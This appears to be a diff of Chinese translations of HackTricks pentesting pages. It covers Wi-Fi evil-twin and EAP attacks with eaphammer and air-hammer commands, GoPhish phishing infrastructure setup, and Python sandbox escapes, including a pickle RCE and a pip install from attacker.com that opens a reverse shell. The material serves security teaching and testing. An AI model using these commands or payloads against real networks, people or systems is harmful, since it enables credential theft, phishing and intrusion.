- 另外,初始 RADIUS 服务器可以作为 EAP-PEAP EAP-TTLS 服务器,处理受保护的认证方法或将其转发到另一服务器。此选项便于为不同领域配置不同的策略。
- 在这种情况下来自不同领域的用户隐藏他们的身份同时指示他们各自的领域。这允许初始RADIUS服务器将EAP-PEAP或EAP-TTLS请求代理到其家庭领域中的RADIUS服务器这些服务器充当PEAP或TTLS服务器。初始RADIUS服务器仅作为RADIUS中继节点运行。
- 另外初始RADIUS服务器可以作为EAP-PEAP或EAP-TTLS服务器处理受保护的认证方法或将其转发到另一服务器。此选项便于为不同领域配置不同的策略。
EAP-PEAP 中,一旦在 PEAP 服务器和 PEAP 客户端之间建立了 TLS 隧道PEAP 服务器就会发起 EAP-身份请求并通过 TLS 隧道发送。客户端通过发送包含用户真实身份的 EAP-身份响应来响应第二个 EAP-身份请求。此方法有效防止了任何窃听 802.11 流量的人揭示用户的实际身份。
在EAP-PEAP中一旦在PEAP服务器和PEAP客户端之间建立了TLS隧道PEAP服务器就会发起EAP-身份请求并通过TLS隧道发送。客户端通过发送包含用户真实身份的EAP-身份响应来响应第二个EAP-身份请求。此方法有效防止了任何窃听802.11流量的人揭示用户的实际身份。
EAP-TTLS 的程序略有不同。在 EAP-TTLS 中,客户端通常使用 PAP 或 CHAP 进行身份验证,受 TLS 隧道保护。在这种情况下,客户端在隧道建立后发送的初始 TLS 消息中包含一个用户名称属性和一个密码或 CHAP 密码属性。
EAP-TTLS遵循稍微不同的程序。在EAP-TTLS中客户端通常使用PAP或CHAP进行身份验证受TLS隧道保护。在这种情况下客户端在隧道建立后发送的初始TLS消息中包含一个用户名称属性和一个密码或CHAP密码属性。
无论选择哪种协议PEAP/TTLS 服务器在建立 TLS 隧道后都能了解用户的真实身份。真实身份可以表示为 user@realm 或简单地为 user。如果 PEAP/TTLS 服务器还负责对用户进行身份验证,它现在拥有用户的身份,并继续进行受 TLS 隧道保护的认证方法。或者PEAP/TTLS 服务器可以将新的 RADIUS 请求转发到用户的家庭 RADIUS 服务器。此新的 RADIUS 请求省略了 PEAP TTLS 协议层。在受保护的认证方法为 EAP 的情况下,内部 EAP 消息在没有 EAP-PEAP EAP-TTLS 包装的情况下传输到家庭 RADIUS 服务器。发出的 RADIUS 消息的用户名称属性包含用户的真实身份,替换了来自传入 RADIUS 请求的匿名用户名称。当受保护的认证方法为 PAP CHAPTTLS 支持)时,从 TLS 有效负载中提取的用户名称和其他认证属性在发出的 RADIUS 消息中替换,取代了传入 RADIUS 请求中的匿名用户名称和 TTLS EAP 消息属性。
无论选择哪种协议PEAP/TTLS服务器在建立TLS隧道后都能了解用户的真实身份。真实身份可以表示为user@realm或简单的user。如果PEAP/TTLS服务器还负责对用户进行身份验证它现在拥有用户的身份并继续进行受TLS隧道保护的认证方法。或者PEAP/TTLS服务器可以将新的RADIUS请求转发到用户的家庭RADIUS服务器。此新的RADIUS请求省略了PEAP或TTLS协议层。在受保护的认证方法为EAP的情况下内部EAP消息在没有EAP-PEAP或EAP-TTLS包装的情况下传输到家庭RADIUS服务器。发出的RADIUS消息的用户名称属性包含用户的真实身份替换了来自传入RADIUS请求的匿名用户名称。当受保护的认证方法为PAP或CHAP仅TTLS支持从TLS有效负载中提取的用户名称和其他认证属性在发出的RADIUS消息中替换取代了传入RADIUS请求中的匿名用户名称和TTLS EAP-消息属性。
有关更多信息,请查看 [https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm)
有关更多信息,请查看[https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm)
### EAP-暴力破解(密码喷洒)
如果客户端预计使用 **用户名和密码**(请注意,在这种情况下 **EAP-TLS 不会有效**),那么您可以尝试获取 **用户名**(见下一部分)和 **密码****列表**,并尝试使用 [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**进行**暴力破解**访问
如果客户端预计使用**用户名和密码**(请注意,在这种情况下**EAP-TLS将无效**),那么您可以尝试获取**用户名**的**列表**(见下一部分)和**密码**,并尝试使用[**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**进行**暴力破解**。
```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
```
@ -412,7 +412,7 @@ EAP-TTLS 的程序略有不同。在 EAP-TTLS 中,客户端通常使用 PAP
### 首选网络列表 (PNL)
- 站点将每个连接的无线网络的 ESSID 存储在其首选网络列表 (PNL) 中,以及网络特定的配置细节。
- PNL 用于自动连接已知网络,通过简化连接过程来改善用户体验。
- PNL 用于自动连接已知网络,通过简化连接过程来改善用户体验。
### 被动扫描
@ -479,7 +479,7 @@ wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
```
**停止烦人的进程**,设置 **监控模式**,并 **启动 hostapd**
**停止烦人的进程**,设置**监控模式**,并**启动hostapd**
```bash
airmon-ng check kill
iwconfig wlan0 mode monitor
@ -498,17 +498,17 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
- **区分困难**当设备共享相同的ESSID和加密类型时难以区分合法和恶意接入点。现实世界的网络通常使用多个具有相同ESSID的接入点以无缝扩展覆盖范围。
- **客户端漫游和连接操控**802.11协议允许设备在同一ESS内的接入点之间漫游。攻击者可以利用这一点诱使设备断开与当前基站的连接并连接到恶意接入点。这可以通过提供更强的信号或通过去身份验证数据包或干扰等方法中断与合法接入点的连接来实现。
- **执行挑战**:在多个、位置良好的接入点环境中成功执行恶意双胞胎攻击可能具有挑战性。去身份验证单个合法接入点通常会导致设备连接到另一个合法接入点,除非攻击者能够去身份验证所有附近的接入点或战略性地放置恶意接入点。
- **执行挑战**:在具有多个、位置良好的接入点环境中成功执行恶意双胞胎攻击可能具有挑战性。去身份验证单个合法接入点通常会导致设备连接到另一个合法接入点,除非攻击者能够去身份验证所有附近的接入点或战略性地放置恶意接入点。
您可以通过以下方式创建一个非常基本的开放恶意双胞胎(没有将流量路由到互联网的能力):
```bash
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
```
您还可以使用 **eaphammer** 创建一个 Evil Twin请注意要使用 eaphammer 创建 Evil Twin接口 **不应** 处于 **监控** 模式):
您还可以使用 **eaphammer** 创建一个 Evil Twin请注意要使用 eaphammer 创建恶意双胞胎,接口 **不应** 处于 **监视** 模式):
```bash
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
```
使用 Airgeddon: `Options: 5,6,7,8,9 (在 Evil Twin 攻击菜单中)。`
或使用 Airgeddon: `Options: 5,6,7,8,9 (在 Evil Twin 攻击菜单中)。`
![](<../../images/image (1088).png>)
@ -518,17 +518,17 @@ _某些操作系统和防病毒软件会警告用户连接到开放网络是危
### WPA/WPA2 Evil Twin
你可以创建一个 **使用 WPA/2 的 Evil Twin**,如果设备配置为使用 WPA/2 连接到该 SSID它们将尝试连接。无论如何**要完成 4-way-handshake**,你还需要 **知道** 客户端将使用的 **密码**。如果你 **不知道**,则 **连接将无法完成**
你可以创建一个 **使用 WPA/2 的 Evil Twin**,如果设备配置为连接到该 SSID 并使用 WPA/2,它们将尝试连接。无论如何,**要完成 4-way-handshake**,你还需要 **知道** 客户端将使用的 **密码**。如果你 **不知道**,则 **连接将无法完成**
```bash
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
```
### 企业恶意双胞胎
要理解这些攻击,我建议在简要介绍之前阅读 [WPA 企业解释](./#wpa-enterprise-mgt)。
要理解这些攻击,我建议在简要介绍之前阅读 [WPA Enterprise 解释](#wpa-enterprise-mgt)。
**使用 hostapd-wpe**
`hostapd-wpe` 需要一个 **配置** 文件才能工作。要 **自动化** 生成这些配置,您可以使用 [https://github.com/WJDigby/apd_launchpad](https://github.com/WJDigby/apd_launchpad)(下载 _/etc/hostapd-wpe/_ 中的 python 文件)
`hostapd-wpe` 需要一个 **配置** 文件才能工作。要 **自动化** 生成这些配置,您可以使用 [https://github.com/WJDigby/apd_launchpad](https://github.com/WJDigby/apd_launchpad)(下载 _/etc/hostapd-wpe/_ 中的 python 文件)
```bash
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
@ -549,19 +549,19 @@ hostapd-wpe ./victim/victim.conf -s
```
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
```
这是避免长连接时间的默认方法。然而,您也可以指定将身份验证方法从最弱到最强进行排序
这是避免长连接时间的默认方法。然而,您还可以指定服务器的认证方法,从最弱到最强
```
--negotiate weakest
```
或者你也可以使用:
- `--negotiate gtc-downgrade` 来使用高效的 GTC 降级实现(明文密码)
- `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` 手动指定提供的方法(以相同的顺序提供相同的认证方法,使得攻击更难被检测)。
- `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` 手动指定提供的方法(以相同的顺序提供相同的认证方法,攻击更难被检测)。
- [在维基中找到更多信息](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
**使用 Airgeddon**
`Airgeddon` 可以使用前生成的证书为 WPA/WPA2-Enterprise 网络提供 EAP 认证。假网络将把连接协议降级为 EAP-MD5因此能够 **捕获用户和密码的 MD5**。之后,攻击者可以尝试破解密码。\
`Airgeddon` 可以使用前生成的证书为 WPA/WPA2-Enterprise 网络提供 EAP 认证。假网络将把连接协议降级为 EAP-MD5以便能够 **捕获用户和密码的 MD5**。之后,攻击者可以尝试破解密码。\
`Airgeddon` 为你提供了 **持续的恶意双胞胎攻击(嘈杂)****仅在有人连接时创建恶意攻击(平滑)** 的可能性。
![](<../../images/image (936).png>)
@ -581,7 +581,7 @@ _此方法在 PEAP 连接中进行了测试,但由于我正在解密任意 TLS
![](<../../images/image (687).png>)
然后查看新的 **"解密的 TLS" 标签**
查看新的 **"解密的 TLS" 标签**
![](<../../images/image (231).png>)
@ -596,9 +596,9 @@ _此方法在 PEAP 连接中进行了测试,但由于我正在解密任意 TLS
2. **基于 MAC 的黑名单**
- 恶意 AP 将忽略黑名单中设备的探测请求,从而使恶意 AP 对这些特定设备不可见。
3. **基于 SSID 的白名单**
- 恶意 AP 仅对列出的特定 ESSID 的探测请求作出响应,使其对不包含这些 ESSID 的设备不可见。
- 恶意 AP 仅对列出的特定 ESSID 的探测请求作出响应,使其对首选网络列表PNL不包含这些 ESSID 的设备不可见。
4. **基于 SSID 的黑名单**
- 恶意 AP 不会对黑名单中指定的 ESSID 的探测请求作出响应,使其对寻求这些特定网络的设备不可见。
- 恶意 AP 不会对黑名单中特定 ESSID 的探测请求作出响应,使其对寻求这些特定网络的设备不可见。
```bash
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
@ -626,7 +626,7 @@ name3
然后,**设备开始忽略未经请求的网络响应**降低了原始karma攻击的有效性。然而一种新的方法被引入称为**MANA攻击**由Ian de Villiers和Dominic White提出。该方法涉及流氓AP**通过对设备的广播探测请求做出响应捕获设备的首选网络列表PNL**并使用设备之前请求的网络名称SSID。这种复杂的攻击通过利用设备记住和优先考虑已知网络的方式绕过了对原始karma攻击的保护。
MANA攻击通过监控设备的定向和广播探测请求来操作。对于定向请求它记录设备的MAC地址和请求的网络名称并将此信息添加到列表中。当收到广播请求时AP会以匹配设备列表中任何网络的信息进行响应诱使设备连接到流氓AP。
MANA攻击通过监控设备的定向和广播探测请求来操作。对于定向请求它记录设备的MAC地址和请求的网络名称并将此信息添加到列表中。当接收到广播请求时AP会以与设备列表中任何网络匹配的信息做出响应诱使设备连接到流氓AP。
```bash
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
```
@ -636,17 +636,17 @@ MANA攻击通过监控设备的定向和广播探测请求来操作。对于定
```bash
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
```
### 已知信标攻击
### Known Beacon attack
**Loud MANA 攻击** 可能不足以满足需求时,**已知信标攻击** 提供了另一种方法。此方法 **通过模拟一个响应任何网络名称的 AP 来暴力破解连接过程,循环遍历从字典中派生的潜在 ESSID 列表**。这模拟了众多网络的存在,希望能在受害者的 PNL 中匹配到一个 ESSID从而促使尝试连接到伪造的 AP。通过将其与 `--loud` 选项结合,可以增强攻击力度,以更具侵略性地捕获设备。
**Loud MANA attack**可能不足时,**Known Beacon attack**提供了另一种方法。此方法**通过模拟一个响应任何网络名称的AP来暴力破解连接过程循环遍历从字典中派生的潜在ESSID列表**。这模拟了众多网络的存在希望能在受害者的PNL中匹配到一个ESSID从而促使尝试连接到伪造的AP。通过将其与`--loud`选项结合,可以增强攻击力度,以更具侵略性地捕获设备。
Eaphammer 将此攻击实现为 MANA 攻击,其中列表中的所有 ESSID 都被激活(您还可以将其与 `--loud` 结合使用,以创建 Loud MANA + 已知信标攻击):
Eaphammer将此攻击实现为MANA攻击其中列表中的所有ESSID都被激活您还可以将其与`--loud`结合以创建Loud MANA + Known beacons攻击):
```bash
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
```
**已知信标突发攻击**
**已知信标突发攻击**涉及**快速广播文件中列出的每个 ESSID 的信标帧**。这会创建一个密集的虚假网络环境,极大地提高设备连接到恶意 AP 的可能性,尤其是在与 MANA 攻击结合时。该技术利用速度和数量来压倒设备的网络选择机制。
**已知信标突发攻击**涉及**快速广播文件中列出的每个 ESSID 的信标帧**。这会创建一个密集的虚假网络环境,极大地提高设备连接到恶意 AP 的可能性,尤其是在与 MANA 攻击结合使用时。该技术利用速度和数量来压倒设备的网络选择机制。
```bash
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
@ -669,7 +669,7 @@ Wi-Fi Direct 连接的安全性通过 **Wi-Fi Protected Setup (WPS)** 建立,
### EvilDirect Hijacking
**EvilDirect Hijacking** 是一种特定于 Wi-Fi Direct 的攻击。它类似于 Evil Twin 攻击的概念,但针对 Wi-Fi Direct 连接。在这种情况下,攻击者冒充合法的组所有者,目的是欺骗设备连接到恶意实体。此方法可以使用 `airbase-ng` 等工具执行,通过指定道、ESSID 和被冒充设备的 MAC 地址:
**EvilDirect Hijacking** 是一种特定于 Wi-Fi Direct 的攻击。它模仿 Evil Twin 攻击的概念,但针对 Wi-Fi Direct 连接。在这种情况下,攻击者冒充合法的组所有者,目的是欺骗设备连接到恶意实体。此方法可以使用 `airbase-ng` 等工具执行,通过指定道、ESSID 和被冒充设备的 MAC 地址:
## References

View File

@ -1,15 +1,15 @@
# 钓鱼方法论
# Phishing Methodology
{{#include ../../banners/hacktricks-training.md}}
## 方法论
## Methodology
1. 侦查受害者
1. 选择 **受害者域名**
2. 执行一些基本的网络枚举 **搜索受害者使用的登录门户****决定** 你将 **冒充** 哪一个。
3. 使用一些 **OSINT****查找电子邮件**
2. 准备环境
1. **购买域名** 你将用于钓鱼评估
1. **购买你将用于钓鱼评估的域名**
2. **配置电子邮件服务** 相关记录 (SPF, DMARC, DKIM, rDNS)
3. 使用 **gophish** 配置 VPS
3. 准备活动
@ -24,12 +24,12 @@
- **关键词**: 域名 **包含** 原始域名的重要 **关键词** (例如zelster.com-management.com)。
- **带连字符的子域**: 将子域的 **点替换为连字符** (例如www-zelster.com)。
- **新 TLD**: 使用 **新 TLD** 的相同域名 (例如zelster.org)
- **同形异义字**: 它 **替换** 域名中的一个字母**看起来相似的字母** (例如zelfser.com)。
- **同形异义字**: 它 **用看起来相似的字母替换** 域名中的一个字母 (例如zelfser.com)。
- **置换**: 它 **交换域名中的两个字母** (例如zelsetr.com)。
- **单数/复数化**: 在域名末尾添加或删除 “s” (例如zeltsers.com)。
- **省略**: 它 **删除域名中的一个字母** (例如zelser.com)。
- **重复**: 它 **重复域名中的一个字母** (例如zeltsser.com)。
- **替换**: 类似同形异义字但不那么隐蔽。它替换域名中的一个字母,可能是与原字母在键盘上相邻的字母 (例如zektser.com)。
- **替换**: 类似同形异义字但不那么隐蔽。它替换域名中的一个字母,可能是与原字母在键盘上相邻的字母 (例如zektser.com)。
- **子域化**: 在域名中引入一个 **点** (例如ze.lster.com)。
- **插入**: 它 **在域名中插入一个字母** (例如zerltser.com)。
- **缺失点**: 将 TLD 附加到域名上。 (例如zelstercom.com)
@ -47,20 +47,20 @@
### 位翻转
**可能性某些存储或通信中的位会因各种因素而自动翻转**,例如太阳耀斑、宇宙射线或硬件错误
由于太阳耀斑、宇宙射线或硬件错误等各种因素,**存储或通信中的某些位可能会自动翻转**
当这个概念 **应用于 DNS 请求** 时,**DNS 服务器接收到的域名** 可能与最初请求的域名不同。
例如,域名 "windows.com" 中的单个位修改可以将其更改为 "windnws.com"。
攻击者可能 **利用这一点注册多个位翻转域名**,这些域名与受害者的域名相似。他们的意图是将合法用户重定向到他们自己的基础设施。
攻击者可能 **利用这一点注册多个位翻转域名**,这些域名与受害者的域名相似。他们的目的是将合法用户重定向到他们自己的基础设施。
有关更多信息,请阅读 [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
### 购买受信任的域名
你可以在 [https://www.expireddomains.net/](https://www.expireddomains.net) 搜索可以使用的过期域名。\
为了确保你要购买的过期域名 **已经有良好的 SEO**,你可以搜索它在以下网站的分类:
为了确保你要购买的过期域名 **已经有良好的 SEO**,你可以搜索它在以下网站的分类:
- [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter)
- [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/)
@ -73,16 +73,16 @@
- [https://hunter.io/](https://hunter.io)
- [https://anymailfinder.com/](https://anymailfinder.com)
为了 **发现更多** 有效的电子邮件地址或 **验证你已经发现的地址**,你可以检查是否可以对受害者的 smtp 服务器进行暴力破解。 [在这里学习如何验证/发现电子邮件地址](../../network-services-pentesting/pentesting-smtp/#username-bruteforce-enumeration)。\
为了 **发现更多** 有效的电子邮件地址或 **验证你已经发现的地址**,你可以检查是否可以对受害者的 smtp 服务器进行暴力破解。 [在这里学习如何验证/发现电子邮件地址](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration)。\
此外,不要忘记,如果用户使用 **任何网络门户访问他们的邮件**,你可以检查它是否容易受到 **用户名暴力破解**,并在可能的情况下利用该漏洞。
## 配置 GoPhish
### 安装
你可以从 [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) 下载它
你可以从 [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) 下载它
下载并解压到 `/opt/gophish` 中并执行 `/opt/gophish/gophish`\
下载并解压到 `/opt/gophish`并执行 `/opt/gophish/gophish`\
你将在输出中获得端口 3333 的管理员用户密码。因此,访问该端口并使用这些凭据更改管理员密码。你可能需要将该端口隧道到本地:
```bash
ssh -L 3333:127.0.0.1:3333 <user>@<ip>
@ -124,7 +124,7 @@ cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt
最后将文件 **`/etc/hostname`** 和 **`/etc/mailname`** 修改为您的域名并 **重启您的 VPS。**
现在,创建一个指向 VPS **ip 地址****DNS A 记录** `mail.<domain>` 和一个指向 `mail.<domain>`**DNS MX** 记录
现在,创建一个指向 VPS **ip 地址****DNS A 记录** `mail.<domain>` 和一个指向 `mail.<domain>`**DNS MX** 记录
现在让我们测试发送电子邮件:
```bash
@ -133,7 +133,7 @@ echo "This is the body of the email" | mail -s "This is the subject line" test@e
```
**Gophish 配置**
停止 gophish 的执行,然后进行配置。\
停止 gophish 的执行进行配置。\
`/opt/gophish/config.json` 修改为以下内容(注意使用 https
```bash
{
@ -208,7 +208,7 @@ case $1 in
start|stop|status) "$1" ;;
esac
```
完成配置服务并检查它方法是:
完成配置服务并检查它方法是:
```bash
mkdir /var/log/gophish
chmod +x /etc/init.d/gophish
@ -233,9 +233,9 @@ service gophish stop
### 发件人策略框架 (SPF) 记录
您必须**为新域配置SPF记录**。如果您不知道什么是SPF记录请[**阅读此页面**](../../network-services-pentesting/pentesting-smtp/#spf)。
您必须**为新域配置SPF记录**。如果您不知道什么是SPF记录请[**阅读此页面**](../../network-services-pentesting/pentesting-smtp/index.html#spf)。
您可以使用[https://www.spfwizard.net/](https://www.spfwizard.net)来生成您的SPF策略使用VPS机器的IP
您可以使用[https://www.spfwizard.net/](https://www.spfwizard.net)来生成您的SPF策略使用VPS机器的IP
![](<../../images/image (1037).png>)
@ -245,7 +245,7 @@ v=spf1 mx a ip4:ip.ip.ip.ip ?all
```
### 基于域的消息认证、报告和一致性 (DMARC) 记录
您必须**为新域配置 DMARC 记录**。如果您不知道什么是 DMARC 记录 [**请阅读此页面**](../../network-services-pentesting/pentesting-smtp/#dmarc)。
您必须**为新域配置 DMARC 记录**。如果您不知道什么是 DMARC 记录 [**请阅读此页面**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc)。
您需要创建一个新的 DNS TXT 记录,指向主机名 `_dmarc.<domain>`,内容如下:
```bash
@ -253,7 +253,7 @@ v=DMARC1; p=none
```
### DomainKeys Identified Mail (DKIM)
您必须**为新域配置DKIM**。如果您不知道什么是DMARC记录请[**阅读此页面**](../../network-services-pentesting/pentesting-smtp/#dkim)。
您必须**为新域配置DKIM**。如果您不知道什么是DMARC记录请[**阅读此页面**](../../network-services-pentesting/pentesting-smtp/index.html#dkim)。
本教程基于:[https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
@ -266,7 +266,7 @@ v=DMARC1; p=none
### 测试您的电子邮件配置分数
您可以使用[https://www.mail-tester.com/](https://www.mail-tester.com)来做到这一点\
您可以使用[https://www.mail-tester.com/](https://www.mail-tester.com)\
只需访问该页面并将电子邮件发送到他们提供的地址:
```bash
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
@ -291,7 +291,7 @@ dkim=pass header.i=@example.com;
```
### 从Spamhouse黑名单中移除
页面 [www.mail-tester.com](https://www.mail-tester.com) 可以指示您的域名是否被spamhouse阻止。您可以在: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) 请求移除您的域名/IP。
页面 [www.mail-tester.com](https://www.mail-tester.com) 可以指示您的域名是否被spamhouse阻止。您可以在以下网址请求移除您的域名/IP: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
### 从Microsoft黑名单中移除
@ -308,14 +308,14 @@ dkim=pass header.i=@example.com;
![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
> [!NOTE]
> 建议使用 "**发送测试邮件**" 功能来测试一切是否正常。\
> 我建议将 **测试邮件发送到10分钟邮件地址** 以避免在测试中被列入黑名单。
> 建议使用“**发送测试邮件**”功能来测试一切是否正常。\
> 我建议将**测试邮件发送到10分钟邮件地址**以避免在测试中被列入黑名单。
### 邮件模板
- 设置一些 **名称以识别** 模板
- 然后写一个 **主题**(没有奇怪的内容,只是您在常规邮件中可能会看到的内容)
- 确保您已勾选 "**添加跟踪图像**"
- 然后写一个 **主题**(没有奇怪的内容,只是您在常规邮件中可以期待看到的内容)
- 确保您已勾选“**添加跟踪图像**”
- 编写 **邮件模板**(您可以使用变量,如以下示例所示):
```markup
<html>
@ -357,15 +357,15 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
> [!NOTE]
> 通常,您需要修改页面的 HTML 代码并在本地进行一些测试(可能使用某些 Apache 服务器)**直到您满意结果。** 然后,将该 HTML 代码写入框中。\
> 请注意,如果您需要**使用些静态资源**用于 HTML可能是一些 CSS 和 JS 页面),您可以将它们保存在 _**/opt/gophish/static/endpoint**_ 中,然后从 _**/static/\<filename>**_ 访问它们。
> 请注意,如果您需要**使用些静态资源**用于 HTML可能是一些 CSS 和 JS 页面),您可以将它们保存在 _**/opt/gophish/static/endpoint**_ 中,然后从 _**/static/\<filename>**_ 访问它们。
> [!NOTE]
> 对于重定向,您可以**将用户重定向到受害者的合法主网页**,或者将他们重定向到 _/static/migration.html_,例如,放置一些**旋转轮****[https://loading.io/](https://loading.io)**5 秒钟,然后指示该过程成功。
> 对于重定向,您可以**将用户重定向到受害者的合法主网页**,或者例如重定向到 _/static/migration.html_,放置一些**旋转轮****[https://loading.io/](https://loading.io)**5 秒钟,然后指示该过程成功。
### 用户与组
- 设置一个名称
- **导入数据**(请注意,为了使用示例模板,您需要每个用户的名字、姓氏和电子邮件地址)
- **导入数据**(请注意,为了使用示例模板,您需要每个用户的名字、姓氏和电子邮件地址)
![](<../../images/image (163).png>)
@ -392,7 +392,7 @@ clone-a-website.md
## 后门文档和文件
在某些钓鱼评估中(主要针对红队),您还希望**发送包含某种后门的文件**(可能是 C2或者只是一些会触发身份验证的东西。\
在某些钓鱼评估中(主要针对红队),您还可能想要**发送包含某种后门的文件**(可能是 C2或者只是一些会触发身份验证的东西。\
查看以下页面以获取一些示例:
{{#ref}}
@ -428,11 +428,11 @@ phishing-documents.md
detecting-phising.md
{{#endref}}
您可以**购买一个与受害者域名非常相似的域名****和/或为您控制的域的**子域**生成证书****包含**受害者域名的**关键字**。如果**受害者**与它们进行任何类型的**DNS 或 HTTP 交互**,您将知道**他在积极寻找**可疑域,您需要非常隐蔽。
您可以**购买一个与受害者域名非常相似的域名****和/或为您控制的域的**一个**子域生成证书****包含**受害者域名的**关键字**。如果**受害者**与它们进行任何类型的**DNS 或 HTTP 交互**,您将知道**他在积极寻找**可疑域,您需要非常隐蔽。
### 评估钓鱼
使用 [**Phishious**](https://github.com/Rices/Phishious) 评估您的电子邮件是否会进入垃圾邮件文件夹,或者是否会被阻止或成功。
使用 [**Phishious**](https://github.com/Rices/Phishious) 评估您的电子邮件是否会进入垃圾邮件文件夹,或者是否会被阻止或成功。
## 参考

View File

@ -2,10 +2,10 @@
{{#include ../../banners/hacktricks-training.md}}
**值得查看的页面:**
**值得查看的有趣页面:**
- [**Pyscript 黑客技巧**](pyscript.md)
- [**Python 反序列化**](../../pentesting-web/deserialization/#python)
- [**Python 反序列化**](../../pentesting-web/deserialization/index.html#python)
- [**绕过 Python 沙箱的技巧**](bypass-python-sandboxes/)
- [**基本的 Python 网络请求语法**](web-requests.md)
- [**基本的 Python 语法和库**](basic-python.md)

View File

@ -6,7 +6,7 @@
## 命令执行库
您需要知道的第一件事是,您是否可以直接使用某些已导入的库执行代码,或者您是否可以导入这些库中的任何一个
你需要知道的第一件事是,你是否可以直接使用某个已导入的库执行代码,或者你是否可以导入以下任何库
```python
os.system("ls")
os.popen("ls").read()
@ -39,7 +39,7 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py')
system('ls')
```
记住_**open**_ 和 _**read**_ 函数可以用于 **读取文件** 在 python 沙箱内,并 **编写一些代码** 你可以 **执行** **绕过** 沙箱。
记住_**open**_ 和 _**read**_ 函数可以用于 **读取文件** 在 python 沙箱内,并 **编写一些代码** 你可以 **执行** **绕过** 沙箱。
> [!CAUTION]
> **Python2 input()** 函数允许在程序崩溃之前执行 python 代码。
@ -67,30 +67,30 @@ return (pip.main,(["list"],))
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
```
有关 pickle 工作原理的更多信息,请查看此链接: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
有关pickle工作原理的更多信息请查看此链接: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
### Pip
### Pip包
技巧由 **@isHaacK** 分享
技巧由**@isHaacK**分享
如果您可以访问 `pip` `pip.main()`,您可以安装任意包并通过调用获得反向 shell:
如果您可以访问`pip``pip.main()`您可以安装任意包并通过调用获得反向shell:
```bash
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
您可以在此处下载创建反向 shell 的包。请注意,在使用之前,您应该**解压缩它,修改 `setup.py`,并输入您的反向 shell 的 IP**
您可以在此处下载创建反向 shell 的包。请注意,在使用之前,您应该 **解压缩它,修改 `setup.py`,并输入您的反向 shell 的 IP**
{% file src="../../../images/Reverse.tar (1).gz" %}
> [!NOTE]
> 这个包被称为 `Reverse`。然而,它是特别制作的,以便当您退出反向 shell 时,其余的安装将失败,因此您**在离开时不会在服务器上留下任何额外的 python 包**。
> 这个包被称为 `Reverse`。然而,它是特别制作的,以便当您退出反向 shell 时,其余的安装将失败,因此您 **在离开时不会在服务器上留下任何额外的 python 包**
## Eval-ing python 代码
## Eval-ing python code
> [!WARNING]
> 请注意exec 允许多行字符串和“;”,但 eval 不允许(检查海象运算符)
如果某些字符被禁止,您可以使用**十六进制/八进制/B64**表示法来**绕过**限制:
如果某些字符被禁止,您可以使用 **hex/octal/B64** 表示法来 **绕过** 限制:
```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -134,7 +134,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
